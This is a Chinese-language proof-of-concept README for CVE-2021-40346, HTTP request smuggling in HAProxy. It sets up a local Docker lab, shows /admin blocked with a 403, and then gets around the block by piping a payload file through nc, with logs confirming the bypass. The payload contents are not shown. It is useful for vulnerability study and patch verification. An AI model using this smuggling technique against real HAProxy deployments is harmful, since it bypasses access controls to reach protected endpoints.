CVE-2021-40346 PoC(HAProxy HTTP 走私)
仅供教育目的
$ docker build -t cve-2021-40346 .
$ docker run --name poc -p 8000:80 -d --rm -it cve-2021-40346
4941e9f23508b497e4cbe334a75e7cdb84c83478522ed85f48db3477f97a6fb4
确认 /admin 被拒绝。
$ curl http://localhost:8000
hello
$ curl http://localhost:8000/admin
<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>
你将不会在日志中看到 /admin。这意味着请求未到达后端服务器,因为 HAProxy 拒绝了它。
$ docker logs poc
server start at port 8000
/
然后,你可以通过 payload.txt 确认它能够被绕过。
$ cat payload.txt | nc localhost 8000
HTTP/1.1 200 OK
content-type: text/plain
date: Wed, 08 Sep 2021 22:31:10 GMT
keep-alive: timeout=5
transfer-encoding: chunked
6
hello
0
你将在日志中找到 /admin。
$ docker logs poc
server start at port 8000
/
/
/admin